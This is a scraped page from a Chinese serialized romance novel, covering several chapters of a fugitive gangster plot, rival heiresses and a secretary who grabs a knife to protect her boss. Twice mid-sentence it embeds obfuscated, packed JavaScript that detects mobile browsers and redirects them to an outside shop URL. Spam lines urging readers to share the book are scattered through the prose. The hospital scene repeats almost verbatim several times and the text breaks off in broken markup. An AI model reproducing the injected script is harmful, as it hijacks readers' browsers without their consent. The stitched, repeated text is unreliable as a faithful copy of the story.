赵老四如同丧家之犬,提前得到的微弱风声让他侥幸躲过了第一波抓捕,但所有的藏身地点、备用资金渠道几乎都被冻结或监控。 他躲在城南一个废弃的汽车修理厂里,身上只穿着一件单薄的夹克,冻得嘴唇发紫。 寒意不仅来自天气,更来自骨髓里渗出的绝望。 手机卡早已扔掉,他用仅剩的现金从一个流浪汉手里买了个破旧的二手手机,颤抖着拨通了那个他几乎烂熟于胸的号码。 “喂?电话那头传来秦晓林刻意压低,带着警惕的声音。 “是我。赵老四声音沙哑干涩,像砂纸摩擦。 对面沉默了几秒,随即传来秦晓林惊慌失措,几乎变调的声音:“四哥?!你……你怎么还敢打电话?外面全是抓你的人!新闻都报了! “少他妈废话!赵老四低吼,喉咙里像是含着砂石,“给我找个地方,要安全的,马上!我快冻**! 秦晓林声音带着哭腔:“四哥,我……我现在自身难保!傅家那边……老太太也不管事了,我哪还有安全的地方给你啊! “秦晓林!赵老四咬牙切齿,每一个字都淬着毒,“你别忘了,婉儿是谁的种!当初要不是我帮你瞒天过海,你能带着我们的女儿赖上傅家,过这十几年的富太太日子?现在想撇清关系?信不信我进去之前,先把你那点破事抖落出来,大家抱着一起死! 电话那头瞬间死寂。 只能听到秦晓林粗重而惊恐的呼吸声,仿佛被扼住了喉咙。 这致命的把柄,像一道枷锁,瞬间击溃了她所有试图逃脱的念头。 良久,她像是被抽干了所有力气,声音发颤,“……你在哪儿?我……我想办法。 …… 傍晚,天色阴沉,飘起了细密的雪花,寒意刺骨。 秦晓林撑着伞,鬼鬼祟祟地绕到公寓楼后门,左右张望了半天,才对着阴影处招了招手。 一个穿着环卫工服装,戴着帽子和口罩,身形高大的男人低着头快步走了出来,正是乔装打扮的赵老四。 两人交换了一个紧张的眼神,没有任何交流。 两人不敢坐电梯,沿着安全通道,一路爬上了秦晓林居住的高层公寓。 关上门,反锁,又颤巍巍地挂上防盗链。 赵老四一把扯掉帽子和口罩,露出那张带着一股亡命徒 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 戾气的脸。 他靠在门板上,大口喘着气,扫视着这个不算宽敞,但布置得还算温馨的公寓——这本该是他女人和孩子的家,如今却成了他唯一的避难所。 “有吃的吗?”他哑声问,肚子不合时宜地叫了一声。 秦晓林手指紧张地绞着衣角,看着这个让她又怕又依赖的男人:“我……我去给你下碗面。” 赵老四瘫坐在沙发上,闭上眼,脑子里飞速盘算着下一步。 国内是待不下去了,必须想办法弄到钱,偷渡出去。 可他现在寸步难行…… 就在这时,门外忽然传来钥匙**锁孔的声音! 赵老四瞬间弹起,眼神锐利地看向门口,手摸向空荡荡的后腰。 秦晓林也吓得从厨房探出头,面无血色。 “妈!我回来了!”是秦婉的声音。 她推门进来,看到赵老四,先是一愣,随即狂喜地扑过来:“舅舅?!你没被抓?!太好了!你快想办法对付明嫣那个**!” 赵老四看着亲生女儿癫狂的模样,心头刺痛,强压烦躁,笨拙地拍了拍她的背:“婉儿,听话,现在不是时候。舅舅自身难保,我们先稳住。” 秦婉被他罕见的柔和态度弄得一怔,委屈的泪水涌出:“舅舅你也没办法了?” “别哭了,”秦晓林连忙上前拉住女儿,“你舅舅现在处境危险。” 秦婉这才注意到赵老四的狼狈装扮,哭声顿止,脸上血色褪尽,意识到最后的倚靠也摇摇欲坠。 赵老四颓然坐回沙发,抹了把脸,沉默如同巨石压下。 秦晓林煮好了面,端出来。 赵老四狼吞虎咽地吃着,仿佛饿了几辈子,汤汁溅得到处都是。 秦婉坐在对面,看着“舅舅”的落魄相,再想到自身遭遇,恨意毒藤般缠绕心脏。 都是明嫣! 如果不是她,自己怎么会落到这步田地! 还有霍寒山…… 她拿出手机,下意识地翻到霍寒山的号码。 依旧没有任何消息,没有电话,没有只言片语的关心。 就在她心头被怨恨吞噬时,手机屏幕突然跳出一条推送—— 【韩氏集团千金韩梦瑶高调亮相,疑与霍氏律师事务所有深度合作。】 配图是一张抓拍的照片。 背景是某个高端酒会,霍寒山穿着剪裁合体的西装,身姿挺拔,正微微侧头听着身边一个穿着耀眼红裙,妆容精致,笑容明媚张扬的年轻女孩说着 听说看这本书的人都是很幸运的,分享后你的运气会更棒 什么。 那女孩的手,甚至亲昵地搭在霍寒山的手臂上。 是韩氏集团的千金,韩梦瑶。 秦婉的瞳孔骤然收缩! 韩梦瑶?! 她怎么会和霍寒山在一起?! 这个女人,出了名的张扬跋扈,眼高于顶,仗着韩家的势力,在圈子里横行霸道,最喜欢抢别人的东西! 她怎么会盯上霍寒山?! 一股前所未有的恐慌和危机感笼罩而来! 她死死盯着那张照片,盯着韩梦瑶落在霍寒山手臂上的手,指甲深深掐进掌心,几乎要掐出血来。 不! 霍寒山是她的! 谁也不能抢走! …… 而此时,霍氏律师事务所。 送走韩氏集团的考察团队,霍寒山回到办公室,扯下领带,揉了揉眉心,脸上带着一丝难以掩饰的疲惫与烦躁。 韩氏集团的法务外包业务,是一块肥肉,很多律所都在争。 他费了不少力气才搭上线,今天韩梦瑶亲自带团队过来,名义上是考察,但那大小姐的眼神…… 霍寒山不是傻子。 韩梦瑶几乎把对他的兴趣和占有欲写在了脸上。 他烦躁地闭上眼。 若是以前,他或许会虚与委蛇,为了利益周旋一番。 可现在…… “咚咚。”敲门声响起。 助理推门进来,面色有些古怪:“霍律师,韩小姐……又回来了,说是有份文件落在会议室了。” 霍寒山眉头蹙起。 这借口未免太蹩脚。 他还没说话,办公室的门就被人从外面推开。 韩梦瑶去而复返,就站在门口。 她换下了酒会那身隆重的红裙,穿着一身香奈儿的粗花呢套装,手里拎着只限量款手袋,下巴微扬,脸上是毫不掩饰的骄纵和势在必得。 “霍律师,不请我进去坐坐?”她红唇勾起,目光直白地在霍寒山身上打转。 霍寒山脸色淡然地站起身,“韩小姐,落下的文件让助理送来就好,何必亲自跑一趟。” “顺手的事。”韩梦瑶自顾自地走进来,在沙发上坐下,长腿交叠,姿态悠闲,“而且,我觉得我们之间的合作,可以更……深入一些。” 她刻意放缓了‘深入’两个字,带着露骨的暗示。 霍寒山眉头几不可察地皱了一下。 “公事公办就好,韩小姐。” 韩梦瑶像是没听 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 出他话里的疏离,轻笑一声,站起身,走到他办公桌前,手指轻轻划过桌面,身体微微前倾。 “霍律师今晚的表现,真是让人印象深刻。她红唇微勾,语气带着欣赏,“不知道霍律师明天晚上有没有空?我知道一家很不错的法餐厅,想单独请你吃个饭,庆祝我们……合作愉快。 这话里的暗示,再明显不过。 霍寒山下颌线绷紧。 他接触韩梦瑶不过两次,这位韩家千金的大胆和直接,他已经有所领教。 她似乎对他很感兴趣,从第一次见面开始,就毫不掩饰她的意图。 “抱歉,韩小姐,明晚我已经有安排了。霍寒山拒绝得干脆利落。 韩梦瑶脸上的笑容淡了几分,眼神里掠过一丝不悦,但很快又被更浓的兴趣和征服欲取代。 她喜欢有挑战性的猎物。 她上前一步,距离近得几乎能闻到她身上浓烈的香水味。 “霍律师,我是个直接的人。她仰头看着他,声音压低,带着蛊惑,“我很欣赏你,不只是你的专业能力。跟了我,韩家的资源,可以让你少奋斗二十年。比你自己辛苦经营这个律所,强多了。 她顿了顿,意有所指地补充道,语气带着轻蔑:“我也知道你跟傅家那个私生女的事情。霍律师,以你的条件,配那种上不了台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16784724|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的女人,太委屈了。她给不了你任何助力,只会是你履历上洗不掉的污点。 霍寒山下颌线骤然绷紧,韩梦瑶的话像针一样扎在他最在意的地方。 秦婉的身份,以及现在牵连的麻烦,正是他此刻最深恶痛绝却又无法立刻摆脱的泥潭。 娶她,对他而言,确实已无任何助益,反而可能万劫不复。 而韩梦瑶…… 韩家的千金,如果能得到她的青睐…… 这个念头刚一升起,就被他强行压了下去。 一种莫名的**感涌上心头。 他霍寒山,什么时候需要靠女人了? “韩小姐的好意,我心领了。霍寒山后退半步,拉开距离,声音冷得像冰,“我的私事,不劳韩小姐费心。合作的事情,我会让团队跟进。如果没其他事,韩小姐请便。 说完,他不再看韩梦瑶瞬间阴沉下来的脸色,径直走到门边,做出了送客的姿态。 韩梦瑶盯着他,那双漂亮的眼睛里闪烁着势在必得和被他接连拒绝后的恼怒。 她冷哼一声,抓起手袋,踩着高跟鞋趾高气扬地走了出去,留下一室浓烈的香水味。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 霍寒山关上门,烦躁地一拳砸在门板上。 前有秦婉这块甩不掉还随时可能**的牛皮糖,后有韩梦瑶虎视眈眈的逼迫。 而他心里真正想要的…… 他闭上眼,明嫣那双清冷决绝的眸子再次浮现。 为什么……为什么会变成这样? 如果他当初没有…… 可惜,这世上,没有如果。 …… 清晨的阳光透过窗帘缝隙,洒在凌乱的大床上。 明嫣是在一阵酸软中醒来的。 稍微一动,就觉得浑身骨头像是被拆开重组过,尤其是腰腿,酸胀得厉害。 昨晚的记忆回笼,那些炽热缠绵的画面让她脸颊微微发烫。 身侧的位置已经空了,只余下一点凹陷和清冽的气息。 她拥着被子坐起身,揉了揉眼睛,发现床头柜上放着一杯水和一张便签。 拿起便签,上面是傅修沉龙飞凤舞的字迹: 【公司有事,早餐在厨房,热一下吃。今天别去律所,在家休息。】 明嫣看着那行字,心里有点甜,又有点气。 甜的是他的细心,气的是他昨天晚上的折腾…… 否则,她至于这个点才醒吗? 她掀开被子下床,脚踩在地毯上时,腿一软,差点没站稳。 在心里暗暗骂了傅修沉几句,她才慢吞吞地走进浴室。 洗漱完,换上舒适的家居服,走到厨房。 开放式厨房的岛台上,果然放着温着的牛奶和煎好的培根鸡蛋,还有烤好的吐司。 很简单,但看得出是用了心的。 她正小口吃着早餐,手机响了起来,是陆奉归。 “老大!你没事吧?昨晚后来……”陆奉归的声音带着关切和后怕。 “我没事。”明嫣打断他,“律所那边怎么样?” “一切正常。就是……今天早上听到消息,赵老四完了!他名下的产业昨晚被人一锅端了,警方还发出了通缉令,说他涉嫌多起案件!现在全城都在抓他!” 明嫣握着牛奶杯的手微微一顿。 是傅修沉。 动作真快。 她垂下眼眸,长长的睫毛遮住了眼底的情绪。 “嗯,知道了。”她语气平静,“城东的案子,先放一放,等我的消息。” “啊?放一放?”陆奉归有些不解,“我们好不容易……” “按我说的做。”明嫣语气坚定。 “……好吧。” 挂了电话,明嫣看着窗外明媚的阳光,心里却并不轻松。 傅修沉以雷霆手段扫清了赵老四,是为了保护她,也是在警告所有暗中窥伺的人。 她明白他的用意。 城东的案子,牵扯太深,她如果再贸然查下去,恐怕会引来更疯狂的报复。 这次是赵老四,下次呢? 她不能再涉险惹他担心…… 也许,暂时放手,才是明智的选择。 有傅修沉在,他会处理好一切。 她应该相信他。 “叮——” 就在这时,手机屏幕突然亮起,一条新信息弹了出来。 明嫣下意识地扫了一眼——发件人是陌生号码。 内容只有几个字,却让她皱紧了眉头…… 第197章 拼死挡刀!(二合一大章) 明氏集团顶楼的灯,亮到深夜。 明燃掐了掐眉心,将最后一份签好字的文件扔到桌角。 堆积如山的卷宗,错综复杂的债务关系,还有那些藏在暗处蠢蠢欲动的对手…… 接手明氏这一个多月,他几乎没睡过一个整觉。 桌上的内线电话响起,助理周瑾的声音传来:“明总,面试行政秘书的最终人选资料送来了,您现在过目吗?” “拿进来。” 助理将一份薄薄的文件夹放在他桌上,最上面附着张两寸照。 照片上的女孩穿着简单的白衬衫,长发扎成利落的马尾,露出一张干净得过分的小脸。 五官…… 明燃目光顿住,指尖无意识地在照片边缘摩挲了一下。 太像了。 不是眉眼,是那种干净又带着点怯生生的气质,像极了记忆里某个模糊的影子。 他蹙眉,翻看简历。 唐微微,二十二岁,京都某普通高校毕业,专业是行政管理,工作经验一栏几乎空白。 “就她?”明燃抬眼,语气听不出喜怒。 助理垂眸:“综合面试表现和背景评估,她是最合适的,而且……干净。” 最后两个字意味深长。 明燃懂。 现在的明氏,经不起任何别有用心的人渗透。 他合上文件夹,扔回给助理:“让她明天报到。” “是。” …… 唐微微踏进明氏大厦时,手心一片湿冷。 电梯镜面映出她苍白的脸,和身上那套明显不合身的职业套装。 她深吸一口气,强迫自己挺直背脊。 不能慌。 妈妈还在医院等着她。 助理周瑾将她带到工位,交代了几句注意事项,语气公事公办:“你的主要工作是处理明总的日常行程、文件整理和会议记录。明总要求高,少说话,多做事。” “我明白,谢谢周助理。” 唐微微刚落座,内线电话就响了。 “进来。” 男人的声音透过电流传来,低沉磁性,却冷得像冰。 她心脏猛地一跳,连忙起身,几乎是同手同脚地走到总裁办公室门口,轻轻敲了敲。 “进。” 推开门,巨大的落地窗外是灰蒙蒙的天,明燃就坐在那片沉郁的天光里,穿着件深灰色衬衫,没打领带,领口随意解开两颗扣子。 他正低头看文件,鼻梁 上架着一副金丝眼镜,遮住了眼底惯有的冷厉,添了几分斯文,却愈发显得疏离。 他没抬头,仿佛她不存在。 唐微微屏住呼吸,小心翼翼地走到办公桌前站定,看着面前的男人,心脏在胸腔里跳得又快又重。 这就是她的目标。 明燃。 她必须……让他喜欢上她。 空气凝滞,只有他翻动纸张的沙沙声。 明燃终于处理完手头那份文件,合上,放到一边。 他这才抬起头,目光没什么温度地扫过来,落在唐微微脸上。 那眼神很锐利,带着审视,像冰冷的探照灯,一寸寸刮过她的五官。 唐微微被他看得头皮发麻,下意识地挺直了背脊,努力让自己看起来更镇定些。 “唐微微?”明燃开口,声音低沉,没什么起伏。 “是,明总。”她声音有点发紧。 “咖啡。” “……什么?” 明燃眉头几不可察地蹙了一下,显然不满意她的迟钝。 唐微微瞬间反应过来,脸颊爆红,慌忙道:“我……我这就去!” 她几乎是逃也似的冲了出去。 茶水间里,她看着琳琅满目的咖啡豆和机器,脑子一片空白。 她根本不会煮咖啡,连这些机器怎么用都不知道。 手忙脚乱地研究了好一会儿,她才勉强磨好豆子,按照网上看来的步骤胡乱操作一通。 端着那杯颜色深得像酱油的液体回到办公室时,她心跳如擂鼓。 明燃接过,指尖碰到杯壁,烫得他眉头一拧。 他瞥了一眼咖啡,没说什么,凑到唇边喝了一口。 动作顿住。 他抬眸,看向她。 那眼神很深,带着审视,还有一丝……难以言喻的复杂。 唐微微紧张得指甲掐进掌心。 “脸抬起来。”他命令道。 唐微微心脏一缩,下意识地依言微微抬起头,但眼神依旧低垂,不敢与他对视。 明燃看着她。 这张脸,确实像。 尤其是侧脸的轮廓,和那双眼睛的形状。 但神韵差得太远。 林晚辞是带刺的玫瑰,风情万种,骨子里透着傲气和决绝。 而眼前这个,更像一株怯怯的菟丝花,努力想攀附,却掩不住内里的苍白和脆弱。 “出去。”他放下杯子,声音依旧平淡。 她如蒙大赦, 几乎是落荒而逃。 门关上的瞬间,明燃摘下眼镜,揉了揉眉心。 **唐微微背后到底是什么人,但既然对方想玩…… 明燃的眸色深沉—— 那他就陪她好好玩一玩。 …… 明燃刚结束一场视频会议,眉宇间带着未散的冷厉。 他抬手松了松领带,金属领带夹磕碰出细微脆响。 唐微微抱着文件跟在他身后两步远,高跟鞋敲在地面上,发出细碎又清晰的回响。 这半个月,她过得如履薄冰。 明燃交给她的事情琐碎又严苛,稍有差池,换来的便是他毫无情绪的审视和更繁琐的工作。 她清楚,他在试探,在逼她露出马脚。 “下午三点,和鼎盛的会谈资料。”明燃脚步未停,声音没有起伏。 “是,明总。”她应着,声音轻轻软软。 就在这时,地下车库的斜刺里猛地冲出五六个人影,个个膀大腰圆,面色不善,手里拎着钢管,瞬间堵**去路。 为首的是个光头,脸上横亘一道疤,眼神凶狠地钉在明燃身上:“明总,可真难堵啊你!” 明燃脚步顿住,脸上没什么表情,只眸色沉了下去。 他将唐微微往身后挡了挡。 唐微微猝不及防,鼻尖差点撞上他挺括的西装后背,一股清冽又压迫的气息瞬间笼罩下来。 “鼎盛的人?”明燃声音冷得像冰。 “赵四哥倒了,明总就想把咱们兄弟当垃圾一样扫了?”光头啐了一口,“城东那块肉,你想独吞?问过兄弟们手里的家伙没?” 明燃嗤笑一声,那笑意未达眼底:“赵老四自己找死,怪不了别人。至于你们……也配?” 这话彻底激怒了对方。 光头眼神一戾:“给脸不要脸!给我上!废了他一条胳膊,看他还怎么嚣张!” 几个壮汉立刻挥舞着钢管冲了上来! 明燃眼神骤寒,一把将唐微微狠狠推开:“躲远点!” 唐微微踉跄着撞在冰冷的墙壁上,后背生疼,还没等她站稳,就看到一个混混抡起钢管朝着明燃的后脑砸去! “明总小心!”她失声惊呼,心脏瞬间提到了嗓子眼。 明燃仿佛背后长眼,侧身躲过,反手精准地扣住那人手腕,用力一拧! “咔嚓”一声脆响,伴随着凄厉惨叫,钢管“哐当”落地。 他动作快得惊人,招式狠辣,专挑关节脆弱处下手,瞬间又 放倒两人。 可对方人多,一根钢管带着风声扫向他肋下,他躲避不及,只能用胳膊硬抗了一下,闷哼一声,眉头狠狠拧起。 光头瞅准机会,眼神一狠,竟从腰后摸出一把**,闪着寒光,直直朝明燃小腹捅去! “妈的,**吧!” 一切发生得太快! 明燃正被两人缠住,眼看避无可避—— 就在这千钧一发之际,一道纤细的身影猛地从旁边扑了过来,不管不顾地伸手,死死抓住了那截冰冷的刀刃! “呃!” 刀刃割破皮肉的闷响,细微,却惊心动魄。 时间仿佛静止了一瞬。 所有人都愣住了。 明燃猛地回头,瞳孔骤然收缩。 只见唐微微不知何时冲了过来,用自己那只纤细白皙的手,徒手握住了**的利刃! 鲜血瞬间涌出,顺着她指缝淅淅沥沥滴落,在她脚下汇成一小滩刺目的红。 她整张脸因为剧痛而扭曲,嘴唇瞬间失了血色,细密的冷汗布满额头,身体控制不住地微微发抖,却仍死死抓着不放,指甲都掐进了刀柄缝隙里。 光头也吓了一跳,下意识想抽回刀,她却抓得死紧。 明燃眼底翻涌起骇人的风暴,周身戾气暴涨,一脚狠狠踹在光头胸口! 光头惨叫一声,倒飞出去,**也脱了手,“当啷”一声掉在地上。 剩下几个混混见动了刀子见了血,也慌了神,互相使了个眼色,搀起倒地的人,狼狈地窜上车跑了。 地下车库瞬间安静下来,只剩下粗重的喘息声。 明燃看着唐微微那只血肉模糊的手,鲜血还在不断往外涌,染红了她浅灰色的袖口,一滴一滴砸在冰冷的水泥地上。 她疼得浑身都在颤,眼神涣散,几乎站不稳。 明燃一把打横将她抱起,她的身体轻得不可思议,蜷缩在他怀里,像一片风中落叶。 “明……明总……”她声音虚弱,带着哭腔。 “闭嘴。”明燃声音低哑,抱着她大步朝自己的车走去,下颌线绷得死紧。 他把她塞进副驾驶,系安全带时,指尖不可避免地碰到她冰凉的皮肤,沾上黏腻的血。 他动作顿了顿,随即更快地扣好,绕到驾驶座,发动引擎,车子如同离弦之箭冲了出去。 医院走廊,消毒水气味浓烈。 清创室里,唐微微坐在处置台边,脸色白得像纸。 医生用镊子夹着碘伏棉球,小心 地清理她掌心的伤口。 刀刃割得很深,几乎见骨,皮肉外翻,看上去触目惊心。 碘伏触碰到伤口的瞬间,剧烈的刺痛让她猛地一哆嗦,喉咙里溢出压抑不住的呜咽,眼泪瞬间涌了上来,大颗大颗地滚落。 “忍一忍,小姑娘,伤口太深,必须清干净。”医生语气带着安抚,动作却没停。 明燃就站在一旁,靠在墙上,双手插在西裤口袋里,面无表情地看着。 灯光落在他侧脸上,明明灭灭,看不清眼神。 怀疑像藤蔓一样缠绕上来。 太巧了。 偏偏是今天,偏偏是她。 这苦肉计,演得可真够下血本。 可她图什么? 他现在内外交困,有什么值得她这样处心积虑? 医生拿起缝合针,唐微微吓得闭上眼,长长的睫毛湿漉漉地黏在一起,抖得厉害。 就在针尖即将刺入皮肤的瞬间,一只骨节分明的手伸了过来,摊开,掌心躺着一颗包装朴素的薄荷糖。 唐微微怔住,泪眼朦胧地抬头。 明燃垂眸看着她,脸上依旧没什么表情,声音平淡:“含着。” 是命令,不是商量。 她呆呆地看着那颗糖,又看看他,似乎没反应过来。 明燃眉头几不可察地蹙了一下,直接剥开糖纸,将那颗浅绿色的糖粒递到她唇边。 他的指尖微凉,不经意擦过她柔软的下唇。 唐微微身体僵住,心跳漏了一拍,下意识地张开嘴,将糖含了进去。 清凉的薄荷味瞬间在口腔里蔓延开,带着一丝微弱的甜,奇迹般地压下了些许喉咙里的血腥气和翻涌的恶心。 她垂下眼,小口小口地含着糖,鼓起的腮帮微微动着,像只偷食的仓鼠。 明燃移开视线,看向窗外浓稠的夜色,插在口袋里的手,无意识地捻了捻指尖,那里似乎还残留着一点柔软湿润的触感。 缝合的过程依旧煎熬。 每一针穿过皮肉,都带来清晰的拉扯和刺痛。 唐微微死死咬着唇,不让自己再哭出声,只有细弱的抽噎从喉咙里断断续续漏出来,肩膀一抖一抖。 明燃始终靠在墙边,没有离开,也没有再说话。 只是在她疼得受不住,下意识想蜷缩起身体时,他往前迈了半步,身影投下的阴影将她完全笼罩。 一种无声的压迫感。 唐微微僵住,不敢再动。 缝合结束,医生包扎好伤口,又开了消炎药和破伤风针。 护士领着唐微微去注射室打针。 明燃跟在后面,隔着几步远的距离。 打针时,唐微微明显怕得厉害,眼睛紧闭,扭过头不敢看。 明燃就站在她身侧,能清晰地看到她后颈细小的绒毛,和因为紧张而微微凸起的颈椎骨。 脆弱,易碎。 打完针,护士交代注意事项,明燃听得心不在焉,目光落在唐微微包扎得厚厚的左手上,不知道在想什么。 回去的路上,车厢里一片死寂。 唐微微靠在车窗上,脸色依旧苍白,大概是累极了,又或许是药物作用,她闭着眼,呼吸清浅,像是睡着了。 明燃开着车,偶尔侧头看她一眼。 路灯的光线流水般滑过她安静的面容,长睫在眼下投下淡淡的阴影,唇色很淡,带着失血后的脆弱。 他想起她扑上来抓住刀刃的那一瞬间,眼神里的惊慌和……决绝。 不像演的。 可如果不是演的…… 他眸色沉了沉,心底那点莫名的烦躁又涌了上来。 地清理她掌心的伤口。 刀刃割得很深,几乎见骨,皮肉外翻,看上去触目惊心。 碘伏触碰到伤口的瞬间,剧烈的刺痛让她猛地一哆嗦,喉咙里溢出压抑不住的呜咽,眼泪瞬间涌了上来,大颗大颗地滚落。 “忍一忍,小姑娘,伤口太深,必须清干净。”医生语气带着安抚,动作却没停。 明燃就站在一旁,靠在墙上,双手插在西裤口袋里,面无表情地看着。 灯光落在他侧脸上,明明灭灭,看不清眼神。 怀疑像藤蔓一样缠绕上来。 太巧了。 偏偏是今天,偏偏是她。 这苦肉计,演得可真够下血本。 可她图什么? 他现在内外交困,有什么值得她这样处心积虑? 医生拿起缝合针,唐微微吓得闭上眼,长长的睫毛湿漉漉地黏在一起,抖得厉害。 就在针尖即将刺入皮肤的瞬间,一只骨节分明的手伸了过来,摊开,掌心躺着一颗包装朴素的薄荷糖。 唐微微怔住,泪眼朦胧地抬头。 明燃垂眸看着她,脸上依旧没什么表情,声音平淡:“含着。” 是命令,不是商量。 她呆呆地看着那颗糖,又看看他,似乎没反应过来。 明燃眉头几不可察地蹙了一下,直接剥开糖纸,将那颗浅绿色的糖粒递到她唇边。 他的指尖微凉,不经意擦过她柔软的下唇。 唐微微身体僵住,心跳漏了一拍,下意识地张开嘴,将糖含了进去。 清凉的薄荷味瞬间在口腔里蔓延开,带着一丝微弱的甜,奇迹般地压下了些许喉咙里的血腥气和翻涌的恶心。 她垂下眼,小口小口地含着糖,鼓起的腮帮微微动着,像只偷食的仓鼠。 明燃移开视线,看向窗外浓稠的夜色,插在口袋里的手,无意识地捻了捻指尖,那里似乎还残留着一点柔软湿润的触感。 缝合的过程依旧煎熬。 每一针穿过皮肉,都带来清晰的拉扯和刺痛。 唐微微死死咬着唇,不让自己再哭出声,只有细弱的抽噎从喉咙里断断续续漏出来,肩膀一抖一抖。 明燃始终靠在墙边,没有离开,也没有再说话。 只是在她疼得受不住,下意识想蜷缩起身体时,他往前迈了半步,身影投下的阴影将她完全笼罩。 一种无声的压迫感。 唐微微僵住,不敢再动。 缝合结束,医生包扎好伤口,又开了消炎药和破伤风针。 护士领着唐微微去注射室打针。 明燃跟在后面,隔着几步远的距离。 打针时,唐微微明显怕得厉害,眼睛紧闭,扭过头不敢看。 明燃就站在她身侧,能清晰地看到她后颈细小的绒毛,和因为紧张而微微凸起的颈椎骨。 脆弱,易碎。 打完针,护士交代注意事项,明燃听得心不在焉,目光落在唐微微包扎得厚厚的左手上,不知道在想什么。 回去的路上,车厢里一片死寂。 唐微微靠在车窗上,脸色依旧苍白,大概是累极了,又或许是药物作用,她闭着眼,呼吸清浅,像是睡着了。 明燃开着车,偶尔侧头看她一眼。 路灯的光线流水般滑过她安静的面容,长睫在眼下投下淡淡的阴影,唇色很淡,带着失血后的脆弱。 他想起她扑上来抓住刀刃的那一瞬间,眼神里的惊慌和……决绝。 不像演的。 可如果不是演的…… 他眸色沉了沉,心底那点莫名的烦躁又涌了上来。 地清理她掌心的伤口。 刀刃割得很深,几乎见骨,皮肉外翻,看上去触目惊心。 碘伏触碰到伤口的瞬间,剧烈的刺痛让她猛地一哆嗦,喉咙里溢出压抑不住的呜咽,眼泪瞬间涌了上来,大颗大颗地滚落。 “忍一忍,小姑娘,伤口太深,必须清干净。”医生语气带着安抚,动作却没停。 明燃就站在一旁,靠在墙上,双手插在西裤口袋里,面无表情地看着。 灯光落在他侧脸上,明明灭灭,看不清眼神。 怀疑像藤蔓一样缠绕上来。 太巧了。 偏偏是今天,偏偏是她。 这苦肉计,演得可真够下血本。 可她图什么? 他现在内外交困,有什么值得她这样处心积虑? 医生拿起缝合针,唐微微吓得闭上眼,长长的睫毛湿漉漉地黏在一起,抖得厉害。 就在针尖即将刺入皮肤的瞬间,一只骨节分明的手伸了过来,摊开,掌心躺着一颗包装朴素的薄荷糖。 唐微微怔住,泪眼朦胧地抬头。 明燃垂眸看着她,脸上依旧没什么表情,声音平淡:“含着。” 是命令,不是商量。 她呆呆地看着那颗糖,又看看他,似乎没反应过来。 明燃眉头几不可察地蹙了一下,直接剥开糖纸,将那颗浅绿色的糖粒递到她唇边。 他的指尖微凉,不经意擦过她柔软的下唇。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刀刃割得很深,几乎见骨,皮肉外翻,看上去触目惊心。 碘伏触碰到伤口的瞬间,剧烈的刺痛让她猛地一哆嗦,喉咙里溢出压抑不住的呜咽,眼泪瞬间涌了上来,大颗大颗地滚落。 “忍一忍,小姑娘,伤口太深,必须清干净。”医生语气带着安抚,动作却没停。 明燃就站在一旁,靠在墙上,双手插在西裤口袋里,面无表情地看着。 灯光落在他侧脸上,明明灭灭,看不清眼神。 怀疑像藤蔓一样缠绕上来。 太巧了。 偏偏是今天,偏偏是她。 这苦肉计,演得可真够下血本。 可她图什么? 他现在内外交困,有什么值得她这样处心积虑? 医生拿起缝合针,唐微微吓得闭上眼,长长的睫毛湿漉漉地黏在一起,抖得厉害。 就在针尖即将刺入皮肤的瞬间,一只骨节分明的手伸了过来,摊开,掌心躺着一颗包装朴素的薄荷糖。 唐微微怔住,泪眼朦胧地抬头。 明燃垂眸看着她,脸上依旧没什么表情,声音平淡:“含着。” 是命令,不是商量。 她呆呆地看着那颗糖,又看看他,似乎没反应过来。 明燃眉头几不可察地蹙了一下,直接剥开糖纸,将那颗浅绿色的糖粒递到她唇边。 他的指尖微凉,不经意擦过她柔软的下唇。 唐微微身体僵住,心跳漏了一拍,下意识地张开嘴,将糖含了进去。 清凉的薄荷味瞬间在口腔里蔓延开,带着一丝微弱的甜,奇迹般地压下了些许喉咙里的血腥气和翻涌的恶心。 她垂下眼,小口小口地含着糖,鼓起的腮帮微微动着,像只偷食的仓鼠。 明燃移开视线,看向窗外浓稠的夜色,插在口袋里的手,无意识地捻了捻指尖,那里似乎还残留着一点柔软湿润的触感。 缝合的过程依旧煎熬。 每一针穿过皮肉,都带来清晰的拉扯和刺痛。 唐微微死死咬着唇,不让自己再哭出声,只有细弱的抽噎从喉咙里断断续续漏出来,肩膀一抖一抖。 明燃始终靠在墙边,没有离开,也没有再说话。 只是在她疼得受不住,下意识想蜷缩起身体时,他往前迈了半步,身影投下的阴影将她完全笼罩。 一种无声的压迫感。 唐微微僵住,不敢再动。 缝合结束,医生包扎好伤口,又开了消炎药和破伤风针。 护士领着唐微微去注射室打针。 明燃跟在后面,隔着几步远的距离。 打针时,唐微微明显怕得厉害,眼睛紧闭,扭过头不敢看。 明燃就站在她身侧,能清晰地看到她后颈细小的绒毛,和因为紧张而微微凸起的颈椎骨。 脆弱,易碎。 打完针,护士交代注意事项,明燃听得心不在焉,目光落在唐微微包扎得厚厚的左手上,不知道在想什么。 回去的路上,车厢里一片死寂。 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他沉默了片刻,终于开口,声音带着一种刻意压抑后的平静。 “嫣丫头,”他叫了她一声,目光却游移了一下,才定在她脸上,“今天叫你来,是有件事,要跟你说。” 傅老爷子深吸一口气,眼神里带着挣扎,但更多的是一种不容置疑的决断。 “离开修沉吧。” “……” 明嫣猛地抬起头,几乎以为自己听错了。 